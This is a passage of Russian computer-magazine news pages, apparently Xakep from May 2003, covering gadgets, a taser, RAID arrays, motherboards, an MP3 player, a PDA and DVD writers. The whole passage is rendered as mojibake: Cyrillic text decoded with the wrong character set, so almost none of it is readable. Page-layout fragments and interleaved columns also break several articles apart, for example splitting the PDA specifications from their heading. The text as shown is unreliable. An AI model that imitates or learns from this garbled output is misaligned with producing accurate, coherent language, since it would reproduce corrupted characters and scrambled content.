ïðåäëîæèò íîâîå áëþäî, cêà÷àåò åå â ïàìÿòü è ââåäåò â àâòîìàòè÷åñêóþ ïðîãðàììó. Âñåé òåõíèêîé ìîæíî óïðàâëÿòü öåíòðàëèçîâàííî - ñ ñåíñîðíîãî ýêðàíà<br />
òîãî æå õîëîäèëüíèêà. Óìíûé äîì ñàì ïðîâîäèò ñâîþ äèàãíîñòèêó è â ñëó÷àå ÷åãî - ñìîæåò ïîäàòü ñèãíàë áåäñòâèÿ.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 5
HiTech_News<br />
Àëåêñ Öåëûõ (News@real.xakep.ru)<br />
ÑÅÒÅÂÀß ËÀÌÏÀ<br />
Matsushita Electric âûïóñòèëà ïåðâóþ íàñòîëüíóþ ëàìïó, ïîäêëþ÷àåìóþ ê èíòåðíåòó ïî<br />
ïðîòîêîëó IPv6. Â 27-âàòòíóþ ëàìïó äíåâíîãî ñâåòà âñòðîåí êîììóíèêàöèîííûé ìîäóëü EMIT<br />
è ñòàíäàðòíûé ðàçúåì äëÿ ïîäêëþ÷åíèÿ ê ëîêàëüíîé ñåòè. Ïðèñâîåíèå àäðåñà IPv6 îñóùåñòâëÿåòñÿ<br />
øëþçîì Home eXchange.  èòîãå êîìïüþòåð àâòîìàòè÷åñêè îïðåäåëÿåò ïðèñóòñòâèå<br />
ëàìïû â ñåòè è îñóùåñòâëÿåò êîíòðîëü íàä íåé. Èíòåðôåéñ ïðîãðàììû ïîçâîëÿåò íà ðàññòîÿíèè<br />
âêëþ÷àòü è âûêëþ÷àòü óñòðîéñòâî, çàäàâàòü âðåìÿ è ïåðèîäè÷íîñòü èñïîëíåíèÿ êîìàíä.<br />
ÆÅËÅÇÍÛÉ ÌÀÑÑÀÆÈÑÒ<br />
Ãîëëàíäñêèå àðò-õóäîæíèêè Ýðâèí Äðèññåíñ è Ìàðèÿ Ôåðøòàïïåí ðàçðàáîòàëè ïðîòîòèï ðîáîòà-ìàññàæèñòà.<br />
Ïðîèçâîäÿ ëåãêèå ïîùèïûâàíèÿ êîæè, ìèíèàòþðíîå óñòðîéñòâî ïîìîãàåò ÷åëîâåêó<br />
ðàññëàáèòüñÿ. Âñå ýòî â ïîëíîì óåäèíåíèè. Àâòîíîìíûé ðîáîò Tickle çàêëþ÷åí â àëþìèíèåâûé êîðïóñ<br />
è âåñèò âñåãî 165 ãðàììîâ. Áëàãîäàðÿ ñåíñîðàì êðåíà îí óâåðåííî ïåðåìåùàåòñÿ ïî òåëó ñî<br />
ñêîðîñòüþ 1,2 ñì/ñåê, ïðè ýòîì îáõîäèò ñòîðîíîé êðóòûå óêëîíû. Âûñòóïû ñèëèêîíîâûõ ãóñåíèö<br />
ïðîèçâîäÿò ïðèÿòíûé àêóïóíêòóðíûé ìàññàæ. Â ðàçâèòèå èäåè àâòîðû ïëàíèðóþò ñîçäàòü öåëóþ<br />
ìàññàæíóþ óñòàíîâêó Tickle Salon.  ýòîì ñëó÷àå ïî ëåæàùåìó íà êóøåòêå ÷åëîâåêó áóäåò ïóòåøåñòâîâàòü<br />
êèñòî÷êà, ñâèñàþùàÿ ñâåðõó íà ÷åòûðåõ íèòÿõ-êàíàòèêàõ. Äàííûå îò ñåíñîðîâ íàïðÿæåíèÿ<br />
âîëîñêîâ êèñòè áóäóò èñïîëüçîâàíû äëÿ ñîçäàíèÿ âèðòóàëüíîé òðåõìåðíîé êàðòû ÷åëîâå÷åñêîãî òåëà.<br />
Ïîñòåïåííî ïåðåìåùåíèÿ êèñòî÷êè ñòàíîâÿòñÿ âñå áîëåå óâåðåííûìè. Íà êàðòå æå ìîæíî îòìåòèòü<br />
ñàìûå ÷óâñòâèòåëüíûå ìåñòà, ìàññàæ êîòîðûõ ïðèíîñèò ìàêñèìàëüíîå óäîâîëüñòâèå.<br />
ÍÅÏÎÒÎÏËßÅÌÛÉ ÌÎÁÈËÜÍÈÊ<br />
Êîìïàíèÿ Ericsson çàïàòåíòîâàëà êîíñòðóêöèþ íåïîòîïëÿåìîãî<br />
ìîáèëüíèêà. Ìîäóëü-ïîïëàâîê êðåïèòñÿ ïîâåðõ àêêóìóëÿòîðà íà<br />
êðûøêå êîðïóñà, â ðåçóëüòàòå ÷åãî àïïàðàò îáðåòàåò ïëàâó÷åñòü. Ïðè<br />
íåîáõîäèìîñòè ãðîìîçäêèé ìîäóëü ìîæíî ñíÿòü.<br />
ÁÅÑÊÐÎÂÍÛÉ ÀÍÀËÈÇ<br />
ßïîíñêèå ó÷åíûå ðàçðàáîòàëè ïðèáîð äëÿ áåñêîíòàêòíîãî<br />
àíàëèçà êðîâè. Äëÿ îïðåäåëåíèÿ óðîâíÿ ãåìîãëîáèíà è äðóãèõ<br />
ïîêàçàòåëåé êðîâè äîñòàòî÷íî ïîäíåñòè äàò÷èê ê âåíàì, ðàñïîëîæåííûì<br />
íà ëàäîíÿõ ðóê. Ðàíüøå ýòî ìîæíî áûëî ñäåëàòü<br />
òîëüêî ïðè áîëåçíåííîé ïðîöåäóðå çàáîðà êðîâè èç ïàëüöà èëè<br />
âåíû. Íîâèíêà ïîñòóïèò â ïðîäàæó óæå â êîíöå ýòîãî ãîäà.<br />
ÃÎËÀß ÁÅÇÎÏÀÑÍÎÑÒÜ<br />
Àìåðèêàíñêàÿ êîìïàíèÿ SafeView (www.safe-view.com) ïðåäñòàâèëà ãîëîãðàôè÷åñêèé ñêàíåð äëÿ ñëóæá áåçîïàñíîñòè<br />
àýðîïîðòîâ. Óñòðîéñòâî ðàáîòàåò ñ ðàäèîâîëíàìè ìèëëèìåòðîâîãî äèàïàçîíà. Âåðòèêàëüíûå ñêàíåðû-èçëó÷àòåëè<br />
âìîíòèðîâàíû â ñòàíäàðòíóþ àðêó áåçîïàñíîñòè. Ïàññàæèðà ïðîñÿò íà 1-2 ñåêóíäû çàäåðæàòüñÿ<br />
â çîíå ñêàíèðîâàíèÿ. Ïîñëå ýòîãî êîìïüþòåðíàÿ ïðîãðàììà àíàëèçèðóåò òðåõìåðíóþ ãîëîãðàììó è<br />
âûäåëÿåò íà ýêðàíå ïîòåíöèàëüíî íåáåçîïàñíûå ïðåäìåòû. Ïðè ýòîì íå îñòàþòñÿ áåç âíèìàíèÿ íå òîëüêî<br />
ìåòàëë, íî è ýêñòðàâàãàíòíîå îðóæèå èç êåðàìèêè, ïëàñòèêîâàÿ âçðûâ÷àòêà, ïîäîçðèòåëüíûå æèäêîñòè. Òîëüêî<br />
íåäàâíî áûëà ðåøåíà ïðîáëåìà íðàâñòâåííîãî õàðàêòåðà. Äàáû óâàæèòü àìáèöèè ïàññàæèðîâ è íå òðàâìèðîâàòü<br />
ïñèõèêó ñîòðóäíèêîâ ñëóæáû áåçîïàñíîñòè, êîìïüþòåðíàÿ ïðîãðàììà áóäåò ñêðûâàòü ðåàëüíîå ÷åëîâå÷åñêîå<br />
òåëî çà ìàíåêåíîïîäîáíûì ñóùåñòâîì áåç ïðèíàäëåæíîñòè ê ïîëó. Êîììåð÷åñêèå ïîñòàâêè íà÷íóòñÿ<br />
â 2004 ãîäó. Îðèåíòèðîâî÷íàÿ ñòîèìîñòü îäíîé òàêîé óñòàíîâêè - 100 òûñÿ÷ äîëëàðîâ.<br />
ÏÎÄ ÍÀÏÐßÆÅÍÈÅÌ<br />
Êîìïàíèÿ Taser International (www.taser.com) íà÷àëà îòêðûòóþ ïðîäàæó ýëåêòðîøîêîâûõ ïèñòîëåòîâ. Óñòðîéñòâî<br />
Air Taser îñíàùåíî ñèñòåìîé ëàçåðíîãî íàâåäåíèÿ è èñïîëüçóåò äëÿ âûñòðåëîâ ñæàòûé âîçäóõ. Íà ñêîðîñòè 55<br />
ìåòðîâ â ñåêóíäó èç ñòâîëà âûëåòàþò äâà îñòðûõ äðîòèêà, ñîåäèíåííûõ ñ êîðïóñîì ïðî÷íûìè òîíêèìè ïðîâîäêàìè.<br />
Ïîðàæåíèå ïðîòèâíèêà ïðîèñõîäèò íà ðàññòîÿíèè îò 4,5 äî 6,5 ìåòðîâ. Ðàçðÿä íàïðÿæåíèåì îêîëî 50 òûñÿ÷<br />
âîëüò è ñèëîé òîêà 18-26 Âò ñïîñîáåí ïðîáèòü ñëîé îäåæäû òîëùèíîé äî 38 ìèëëèìåòðîâ è íà âðåìÿ ïàðàëèçîâàòü<br />
ìûøå÷íóþ ñèñòåìó ïðîòèâíèêà. Íà òåëå îñòàþòñÿ äâå õàðàêòåðíûå îòìåòèíû. Air Taser âûïóñêàþòñÿ â ìîäåëÿõ<br />
ñ îäíèì è äâóìÿ êàðòðèäæàìè. Ïåðåçàðÿäêà ïèñòîëåòà çàíèìàåò íåñêîëüêî ñåêóíä. Âî âðåìÿ âûñòðåëà èç<br />
ñòâîëà âûëåòàåò êîíôåòòè ñ ñåðèéíûì íîìåðîì îðóæèÿ, ïðè íåîáõîäèìîñòè ïî ýòèì äàííûì ìîæíî íàéòè âëàäåëüöà<br />
ïèñòîëåòà. Óñòðîéñòâî ðàáîòàåò îò äâóõ ïàëü÷èêîâûõ áàòàðåé. Öåíà â ìàãàçèíå - îò 120 äî 600 äîëëàðîâ.<br />
ÏÐÎÒÈÂ ÑÎËÍÖÀ<br />
Sharp ïðåäñòàâèëà ôîòîàïïàðàò,<br />
êîòîðûé ïîçâîëÿåò âåñòè ñúåìêó ïðîòèâ<br />
ñîëíöà áåç èñïîëüçîâàíèÿ ñïåöèàëüíîé<br />
áëåíäû. Â îñíîâå åãî ðàáîòû<br />
ëåæèò ìîùíûé ñâåòî÷óâñòâèòåëüíûé<br />
ñåíñîð, ðàçðàáîòàííûé èíæåíåðàìè<br />
êîìïàíèè äëÿ öèôðîâûõ ôîòî- è âèäåîêàìåð.<br />
Çàÿâëåííàÿ ÷óâñòâèòåëüíîñòü ê<br />
êîíòðàñòó ñâåòà è òåíè ïðåâûøàåò<br />
ñðåäíèå ïîêàçàòåëè â òûñÿ÷è ðàç. Òåõíîëîãèÿ<br />
ïîçâîëÿåò çàïå÷àòëåòü îáúåêòû,<br />
ñòåïåíü îñâåùåííîñòè êîòîðûõ äîñòèãàåò<br />
100 òûñÿ÷ ëþêñ. Íîâèíêà íàéäåò<br />
ïðèìåíåíèå íà âûåçäå èç òóííåëåé,<br />
ãäå âîäèòåëè ÷àñòî òåðÿþò êîíòðîëü<br />
èç-çà ÿðêîãî ñâåòà. Ïðåäïîëîæèòåëüíî,<br />
èñïîëüçîâàíèå íîâîãî ñåíñîðà âûçîâåò<br />
óäîðîæàíèå àïïàðàòóðû â 2-3 ðàçà.<br />
6 Íüþñû<br />
1 Ôåððóì<br />
2 Inside 3 PC_Zone 4<br />
Âçëîì
HardNews<br />
Nikitos (nikitos@real.xakep.ru)<br />
 íîìåðå:<br />
Íåõèëûé RAID<br />
Êðàñàâåö îò Philips<br />
Íîâûå ìàìû íà i875p<br />
DVD-ðåçàêè îò Sony<br />
ìàé<br />
2003<br />
¹53<br />
ÁÅÑÏËÀÒÍÀß ÅÆÅÌÅÑÅ×ÍÀß ÃÀÇÅÒÀ<br />
N E W S<br />
Íåõèëûé RAID<br />
Êîìïàíèÿ Promise Technology íà÷àëà<br />
ñåðèéíûé âûïóñê RAID-ìàññèâîâ<br />
UltraTrak RM15000 ATA RAID, ðàññ÷èòàííûõ,<br />
ïðåæäå âñåãî, íà ñåðüåçíîãî<br />
êîðïîðàòèâíîãî ïîêóïàòåëÿ, íóæäàþùåãîñÿ<br />
â õðàíåíèè áîëüøèõ îáúåìîâ<br />
èíôîðìàöèè è îðãàíèçàöèè áûñòðîãî<br />
äîñòóïà ê íåé. Íîâèíêà ìîæåò îáúåäèíÿòü<br />
äî ïÿòíàäöàòè Ultra ATA-âèí÷åñòåðîâ,<br />
îáåñïå÷èâàÿ ñóììàðíóþ åìêîñòü<br />
ñèñòåìû äî 3.8 Òá.<br />
Òàêæå óñòðîéñòâî îáîðóäîâàíî ñòàíäàðòíûì<br />
èíòåðôåéñîì Ultra160 LVD; íåñêîëüêî<br />
òàêèõ äåâàéñîâ ìîãóò áûòü çàïðîñòî<br />
îáúåäèíåíû â îäèí ëîãè÷åñêèé<br />
ìàññèâ äàííûõ.<br />
Óñòðîéñòâî ïîääåðæèâàåò ðåæèìû RAID<br />
óðîâíåé 0, 1, 0+1, 3, 5, 30, 50, äèñêè ñ<br />
èíòåðôåéñîì Ultra ATA 133/100, òàêæå<br />
ïîääåðæèâàåòñÿ ãîðÿ÷àÿ çàìåíà ëþáîãî<br />
èç ïÿòíàäöàòè íàêîïèòåëåé.<br />
Óñòðîéñòâî ïðåäñòàâëÿåò ñîáîé<br />
îáû÷íûé æåëåçíûé ÿùèê âûñîòîé 3U,<br />
êîòîðûé ìîæåò áûòü óñòàíîâëåí â<br />
ñòàíäàðòíóþ ñåðâåðíóþ ñòîéêó. Óïðàâëåíèå<br />
äåâàéñîì ìîæåò îñóùåñòâëÿòüñÿ<br />
êàê ÷åðåç ÆÊ-äèñïëåé, ðàçìåùåííûé<br />
íåïîñðåäñòâåííî íà êîðïóñå,<br />
òàê è ïî ñåòè – ÷åðåç êîìàíäíóþ<br />
ñòðîêó ïðè ïîìîùè CLI, ëèáî – â<br />
ãóåâîì âèçóàëèçèðîâàííîì ðåæèìå -<br />
÷åðåç Web-èíòåðôåéñ ñ ïîìîùüþ<br />
ïðîãðàììû Promise Array Management<br />
(WebPAM). Ïîñòàâêè óñòðîéñòâà óæå<br />
íà÷àëèñü, îðèåíòèðîâî÷íàÿ öåíà ýòîãî<br />
ìîíñòðà – îêîëî $5.5k.<br />
Êðàñàâåö îò<br />
Philips<br />
Philips âûïóñòèëà íîâûé mp3-ïëååð íà<br />
áàçå 15-ãèãîâîãî âèí÷åñòåðà - Philips<br />
HDD100 Awe. Ïðåæäå âñåãî ïðèâëåêàåò<br />
âíåøíèé âèä óñòðîéñòâà – îíî âûïîëíåíî<br />
â ñòèëüíîì áëåñòÿùåì êîðïóñå èç<br />
ìàãíèåâîãî ñïëàâà è óäàðîñòîéêîãî òîíèðîâàííîãî<br />
ñòåêëà. Ýòîò ïëååð ìîæåò<br />
ñîñòàâèòü ñåðüåçíóþ êîíêóðåíöèþ iPod<br />
îò Apple, âûïóùåííîìó, êñòàòè, öåëûõ<br />
äâà ãîäà íàçàä è äî ñèõ ïîð çàñëóæåííî<br />
ñ÷èòàþùåìóñÿ “ñàìûì-ñàìûì” ñðåäè<br />
jukebox’îâ. Íîâèíêà îò Philips, âïðî-<br />
÷åì, èìååò ìàññó ïðåèìóùåñòâ ïåðåä<br />
iPod. Ïðåæäå âñåãî, äëÿ âçàèìîäåéñòâèÿ<br />
ñ PC çäåñü èñïîëüçóåòñÿ áîëåå<br />
ïîïóëÿðíàÿ è, êàê óòâåðæäàþò ñïåöèôèêàöèè,<br />
ïðîèçâîäèòåëüíàÿ øèíà USB<br />
2.0, èíæåíåðû Apple æå èñïîëüçîâàëè<br />
FireWire (âïðî÷åì, äâà ãîäà íàçàä USB<br />
2.0 è â ïðèðîäå íå áûëî).<br />
Òàêæå íîâèíêà îáëàäàåò âñòðîåííûì<br />
ìèêðîôîíîì, ÷òî ïîçâîëÿåò èñïîëüçîâàòü<br />
ïëååð â êà÷åñòâå äèêòîôîíà<br />
(ïðåäñòàâëÿåøü, ñêîëüêî ìîæíî çâóêà<br />
çàïèñàòü – íà 15 Ãá!)<br />
Ñðåäè äðóãèõ äîñòîèíñòâ Awe - ïÿòèêàíàëüíûé<br />
ýêâàëàéçåð ñ ÷åòûðüìÿ<br />
óñòàíîâêàìè, êîòîðûå ïîëüçîâàòåëü<br />
ìîæåò æåñòêî ïðèâÿçàòü ê ìóçûêàëüíûì<br />
æàíðàì, óêàçàííûì â ID3-òåãàõ<br />
âîñïðîèçâîäèìûõ êîìïîçèöèé. Ýòî<br />
î÷åíü óäîáíî, ïîòîìó êàê îòïàäàåò<br />
íåîáõîäèìîñòü âðó÷íóþ ïîäêðó÷èâàòü<br />
ýêâàëàéçåð ïî ìåðå èçìåíåíèÿ<br />
íàñòðîåíèÿ è, ñîîòâåòñòâåííî, ñëóøàåìîé<br />
ìóçûêè.<br />
Óïðàâëåíèå óñòðîéñòâîì îñóùåñòâëÿåòñÿ<br />
ñ ïîìîùüþ ïðîãðàììèðóåìîãî<br />
ïîëüçîâàòåëüñêîãî èíòåðôåéñà èëè<br />
ïðîâîäíîãî ïóëüòèêà, êîòîðûé, êñòàòè,<br />
òîæå êðàñèâûé :).<br />
Íîâûå ìàìû<br />
íà i875p<br />
Intel âûïóñòèëà íîâûé ÷èïñåò i875P<br />
(Canterwood), è âñëåä çà îôèöèàëüíûìè<br />
íîâîñòÿìè îò intel ñëåäóþò àíîíñû<br />
ìàòåðèíñêèõ ïëàò íà ýòîì ÷èïñåòå.<br />
Ïåðâîé áûëà Abit, ïðåäñòàâèâøàÿ äâå<br />
íîâûõ ðàçðàáîòêè - IC7 è IC7-G, îáå<br />
ôóíêöèîíèðóþò íà ÷èïñåòå i875P è îòëè÷àþòñÿ<br />
äðóã îò äðóãà ñåòåâûìè âîçìîæíîñòÿìè:<br />
áîëåå äîðîãàÿ “G” âåðñèÿ<br />
èìååò èíòåðôåéñ S/PDIF è ñåòåâîé<br />
àäàïòåð Intel PRO Gigabit LAN.<br />
Ïëàòà ïîçèöèîíèðóåòñÿ ðàçðàáîò÷èêàìè<br />
êàê ñóïåð-ïóïåð ïëàòôîðìà, “ñäåëàííàÿ<br />
îâåðêëîêåðàìè äëÿ îâåðêëîêåðîâ”.<br />
Ïî óòâåðæäåíèþ Abit, ïëàòà îáëàäàåò<br />
òðàäèöèîííî áîãàòûì íàáîðîì<br />
äëÿ ðàçãîíà è ïîääåðæèâàåò âñå ôèðìåííûå<br />
òåõíîëîãèè (SoftMenu,<br />
FanEQTM, Serillel 2, TweakGuard è<br />
FlashMenu), êðîìå òîãî, ðàñøèðåíû<br />
âîçìîæíîñòè ïî ðàçãîíó ÷àñòîòû ñèñòåìíîé<br />
øèíû âïëîòü äî 1 ÃÃö.<br />
IC7-G è IC7 ðàáîòàþò ñ ïðîöåññîðàìè<br />
Intel Pentium 4, âêëþ÷àÿ ìîäåëè ñ òåõíîëîãèåé<br />
Hyper-Threading è ÷àñòîòîé<br />
ñèñòåìíîé øèíû 800 ÌÃö; ïîääåðæèâàåòñÿ<br />
äâóõêàíàëüíàÿ ïàìÿòü DDR400<br />
ñ ECC, ìàêñèìàëüíûé îáúåì êîòîðîé<br />
ðàâíÿåòñÿ ÷åòûðåì ãèãàáàéòàì. Òàêæå<br />
ýòè ìàòåðè îáîðóäîâàíû èíòåðôåéñàìè<br />
USB 2.0 è FireWire, èìåþòñÿ ÷åòûðå<br />
êàíàëà Serial ATA.<br />
Âñêîðå ïîñëå àíîíñà Abit, Gigabyte<br />
Technology ïðåäñòàâèëà íîâîå ñåìåéñòâî<br />
ìàòåðåé íà ïðîäâèíóòîì ÷èïñåòå -<br />
P4 Titan 875P. Âîò îñíîâíûå ñïåöèôèêàöèè<br />
ýòèõ ìàòåðèíñêèõ ïëàò:<br />
Ïîääåðæêà ïðîöåññîðîâ Intel<br />
Pentium 4 ñ òåõíîëîãèåé Hyper-<br />
Threading è FSB äî 800 ÌÃö<br />
×èïñåò Intel 875P<br />
Ïîääåðæêà äâóõêàíàëüíîé ïàìÿòè<br />
DDR400 ñ ECC<br />
Øèíà AGP 8X<br />
Ñèñòåìà äâîéíîãî ïèòàíèÿ D.P.S 2<br />
(Dual Power System 2)<br />
Èíòåãðèðîâàííûé êîíòðîëëåð<br />
Adaptec Ultra320 SCSI (òîëüêî â âåðñèè<br />
GA-8KNXP Ultra)<br />
Ñåòåâîé àäàïòåð Intel PRO/1000 CT<br />
(Intel 82547EI)<br />
Èíòåðôåéñ Serial ATA<br />
Èíòåðôåéñ IEEE 1394 (îòñóòñòâóåò â<br />
ïëàòå GA-8KNXP Ultra)<br />
Dual RAID (SATA RAID + IDE RAID)<br />
Ñèñòåìû Dual Cooling System,<br />
DualBIOS<br />
Âîñåìü ïîðòîâ USB 2.0<br />
5.1 AC97-çâóê<br />
Ïÿòü ñëîòîâ PCI 2.2<br />
Íà äàííûé ìîìåíò ñåìåéñòâî P4 Titan<br />
875P âêëþ÷àåò â ñåáÿ òðè ïëàòû: GA-<br />
8KNXP, GA-8KNXP Ultra è GA-8IK1100.<br />
Ïåðâàÿ îáëàäàåò 1000 mbps ñåòåâûì<br />
àäàïòåðîì, Ultra âåðñèÿ âäîáàâîê ïîääåðæèâàåò<br />
èíòåðôåéñ Ultra320 SCSI, à<br />
ïîñëåäíÿÿ – ñàìàÿ ìàëîôóíêöèîíàëüíàÿ<br />
– íå èìååò íè ñåòåâîãî àäàïòåðà,<br />
íè ïîääåðæêè Ultra320 SCSI, D.P.S. 2,<br />
Dual RAID, Dual Cooling System.<br />
Òàêæå êîìïàíèÿ Chaintech Computers<br />
âûïóñòèëà ìàìó 9CJS Zenith, ðàáîòàþùóþ<br />
íà ÷èïñåòíîé ñâÿçêå i875p + ICH5R.<br />
Âîò îñíîâíûå ïàðàìåòðû íîâîé ïëàòû:<br />
Ôîðìôàêòîð: ATX<br />
Ïàìÿòü: äî 4 Ãá ïàìÿòè Dual-DDR<br />
266/333/400 (â ò.÷. ñ ECC)<br />
AGP: 8X<br />
Ïÿòü ñëîòîâ PCI 2.2<br />
Ñëîò CMR (CHAINTECH Multimedia<br />
Riser)<br />
Çâóê: 7.1, VIA ENVY24PT<br />
S-ATA RAID: ATA150, RAID óðîâíÿ 0<br />
Dual-LAN: ïîääåðæêà 10/100Mb<br />
Fast Ethernet (RTL8101L) è GbE LAN<br />
(Intel GbE 82547)<br />
USB: ïîääåðæêà 8 ïîðòîâ USB 2.0<br />
IEEE1394: 100/200/400Mbps (VIA<br />
VT6306)<br />
ÏÎ â êîìïëåêòå: Driver CD (WINDVD<br />
7.1-CH included), ValuePack 2003<br />
Êîìïëåêòàöèÿ óñòðîéñòâà òðàäèöèîííî<br />
áîãàòàÿ: ìîäóëü Chaintech CBOX3, óñòàíàâëèâàþùèéñÿ<br />
â 5.25–äþéìîâûé<br />
îòñåê, ïîçâîëÿåò âûâåñòè íà ïåðåäíþþ<br />
ïàíåëü êîìïà äâà ïîðòà USB, çâóêîâûå<br />
1 2 3 4<br />
8 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ðàçúåìû, “øåñòü â îäíîì” êàðòîâîä<br />
(ïîääåðæèâàþòñÿ êàðòû Smart Media,<br />
Memory Stick, Compact Flash, MultiMedia<br />
Card, Secure Digital, IBM Micro Drive),<br />
ïðèåìíèê äëÿ ïóëüòèêà è ìåãà-øòóêó -<br />
äèñïëåé DigiDoc, íà êîòîðîì ìîæåò<br />
îòîáðàæàòüñÿ ìàññà ñëóæåáíîé èíôîðìàöèè,<br />
â ò.÷. òåìïåðàòóðà ïðîöåññîðà<br />
– ýòî, íàâåðíîå, àêòóàëüíî äëÿ îâåðêëîêåðîâ<br />
:). Â êîìïëåêò òàêæå âõîäèò<br />
õèòðûé ïóëüòèê ñ ïîääåðæêîé ôóíêöèé<br />
ìûøè è îáëàäàþùèé êó÷åé ãîðÿ÷èõ<br />
êëàâèø äëÿ ðàáîòû ñ áðàóçåðîì, ýëåêòðîííîé<br />
ïî÷òîé, DVD-ïðîèãðûâàòåëåì,<br />
çàïóñêîì ïðèëîæåíèé è ò.ï. Êàðòà<br />
Chaintech Multimedia Card, óñòàíàâëèâàåìàÿ<br />
â CMR (Chaintech Multimedia Riser)<br />
ñëîò, ðàñøèðÿåò ìóëüòèìåäèéíûå âîçìîæíîñòè<br />
ñèñòåìû, âåäü íà íåé ïðèñóòñòâóþò<br />
äâà ïîðòà IEEE 1394, çâóêîâûå<br />
ðàçúåìû âõîäà/âûõîäà äëÿ ïîääåðæêè<br />
7.1 çâóêà è SPDIF ðàçúåì äëÿ âûâîäà<br />
öèôðîâîãî àóäèî. Ïîìèìî âñåãî ýòîãî â<br />
êîìïëåêò ïîñòàâêè âõîäèò íàáîð ñèìïîòíûõ<br />
øëåéôèêîâ è îòâåðòêà «4 â îäíîì».<br />
Íåñëàáî :)<br />
ÊÏÊ äëÿ<br />
ëþáèòåëåé<br />
ïåðöîâêè<br />
Ñîâñåì íåäàâíî óêðàèíñêîå ÍÏÎ “Âåðñèÿ”<br />
ïðåäñòàâèëî ñâîþ ïåðâóþ ðàçðàáîòêó<br />
íà ðûíêå êàðìàííûõ êîìïüþòåðîâ<br />
– Posket PC Vesa. Âîò îñíîâíûå ñïåöèôèêàöèè<br />
íîâèíêè:<br />
Ìîäåðñêàÿ<br />
âèäåîêàðòî÷êà<br />
Íà äíÿõ êîìïàíèÿ Hercules îïóáëèêîâàëà<br />
îôèöèàëüíûé àíîíñ íîâîé ãðàôè÷åñêîé<br />
ïëàòû 3D Prophet 9800 Pro. Êàðòî÷êà ðàáîòàåò<br />
íà ÷èïñåòå RADEON 9800 PRO,<br />
îáëàäàåò 128 ìåãàáàéòàìè ïàìÿòè DDR,<br />
îáìåí äàííûìè ñ êîòîðîé ïðîèçâîäèòñÿ<br />
ïî 256-ðàçðÿäíîé øèíå, óñòðîéñòâî òàêæå<br />
èìååò öèôðîâîé DVI è ÒÂ âûõîäû.<br />
Îñîáîãî âíèìàíèÿ çàñëóæèâàåò âíåøíèé<br />
âèä êàðòî÷êè – îíà âûïîëíåíà íà<br />
ñèíåé ïå÷àòíîé ïëàòå è îáëàäàåò äîâîëüíî<br />
èçîùðåííîé ñèñòåìîé îõëàæäåíèÿ.<br />
Íà ÷èïå óñòàíîâëåí ãëàâíûé âåíòèëÿòîð,<br />
êîòîðûé ïîäñâå÷èâàåòñÿ ãîëóáûìè<br />
ñâåòîäèîäàìè, è ïðè ýòîì åùå íåñëàáî<br />
øóìèò – óðîâåíü ñîçäàâàåìîãî<br />
çâóêà ðàâíÿåòñÿ 28 äåöèáåëàì.<br />
Ðàäèàòîðû òàêæå ðàñïîëàãàþòñÿ íà îáðàòíîé<br />
ñòîðîíå ïå÷àòíîé ïëàòû, íà ìèêðîñõåìàõ<br />
ïàìÿòè è ñòàáèëèçàòîðàõ íàïðÿæåíèÿ.<br />
Íîìèíàëüíûå ÷àñòîòû ðàáîòû ÷èïà<br />
è ïàìÿòè ñîñòàâëÿþò ñîîòâåòñòâåííî<br />
380 è 340 ÌÃö.  ðîçíè÷íîé ïðîäàæå, íà-<br />
÷àëî êîòîðîé, ê ñëîâó, íàìå÷åíî íà êîíåö<br />
àïðåëÿ, óñòðîéñòâî áóäåò êîìïëåêòîâàòüñÿ<br />
ãàìåñîé Rainbow Six Raven Shield.<br />
* Ïðîöåññîð: 200 ÌÃö Intel XScale<br />
* Ïàìÿòü: 32 Ìá ôëåø, 36 Ìá ÎÇÓ<br />
* Äèñïëåé: 3,5 äþéìà, 240x320, 65Ê<br />
öâåòîâ, transflective ïîâûøåííîé ÿðêîñòè<br />
* Ñëîòû ðàñøèðåíèÿ: Secure<br />
Digital/MMC ñ âîçìîæíîñòüþ ïîäêëþ÷åíèÿ<br />
ïåðèôåðèè<br />
* Ðàçìåðû: 121,7õ76,8õ12,5 ìì<br />
* Âåñ: 120 ãðàììîâ<br />
* Èñòî÷íèê ïèòàíèÿ: Li-Ion áàòàðåÿ, 900<br />
ìÀ*÷<br />
* Ïðîãðàììíîå îáåñïå÷åíèå:<br />
Microsoft Pocket PC 2002, ñ âîçìîæíîñòüþ<br />
ïåðåêëþ÷åíèÿ ÿçûêà èíòåðôåéñà<br />
(óêð./àíãë.), MS Pocket PC<br />
Applications, Pocket Word, Pocket<br />
Excel, Pocket Outlook, Internet Explorer,<br />
Media Player, Ïðîâîäíèê, Çàìåòêè,<br />
Êîíòàêòû, Êàëåíäàðü. Òàêæå ñ ìàëûøêîé<br />
ïîñòàâëÿåòñÿ ìíîæåñòâî èãð è<br />
ïðî÷åãî ïîëåçíîãî ñîôòà.<br />
 ñåðèéíûé âûïóñê ÊÏÊ ïîñòóïàåò ëåòîì,<br />
ðîçíè÷íàÿ öåíà îæèäàåòñÿ îêîëî<br />
$300.<br />
5 6<br />
Þíèêñîèä<br />
DVD-ðåçàêè<br />
îò Sony<br />
Sony ðàñøèðèëà ëèíåéêó ñâîèõ dvd-rw<br />
ïðèâîäîâ, âûïóñòèâ äîñòîéíóþ ñìåíó<br />
çíàìåíèòîìó DRU-500A. Ýòî äâà äåâàéñà<br />
DRU-510A è DRU-510UL, êîòîðûå<br />
îòëè÷àþòñÿ îò ïðåäøåñòâåííèêà<br />
óâåëè÷åííîé ñêîðîñòüþ çàïèñè êàê<br />
dvd-(r)w, òàê è îáû÷íûõ cd-(r)w áîëâàíîê.<br />
Ïåðâûé ïðèâîä óñòàíàâëèâàåòñÿ<br />
âíóòðè ñèñòåìíîãî áëîêà è âçàèìîäåéñòâóåò<br />
ñ PC ÷åðåç èíòåðôåéñ<br />
ATAPI. Âòîðîé ðåçàê – âíåøíèé, ïîäêëþ÷àåòñÿ<br />
÷åðåç USB 2.0 (ìàêñèìàëüíàÿ<br />
ñêîðîñòü ïåðåäà÷è äàííûõ – 480<br />
Ìáèò/ñåê) èëè i.LINK.<br />
Óñòðîéñòâà ïîñòàâëÿþòñÿ ñ ïîëíûì<br />
êîìïëåêòîì íåîáõîäèìîãî ÏÎ, ÷òî<br />
ïîçâîëÿåò ñðàçó ïîñëå ïîêóïêè ïðèâîäà<br />
ïðèñòóïèòü ê çàïèñè äèñêîâ ñàìûõ<br />
ðàçíûõ ôîðìàòîâ. Íèæå ïðèâåäåíû<br />
îñíîâíûå òåõíè÷åñêèå õàðàêòåðèñòèêè<br />
óñòðîéñòâ.<br />
Sony DRU-510A<br />
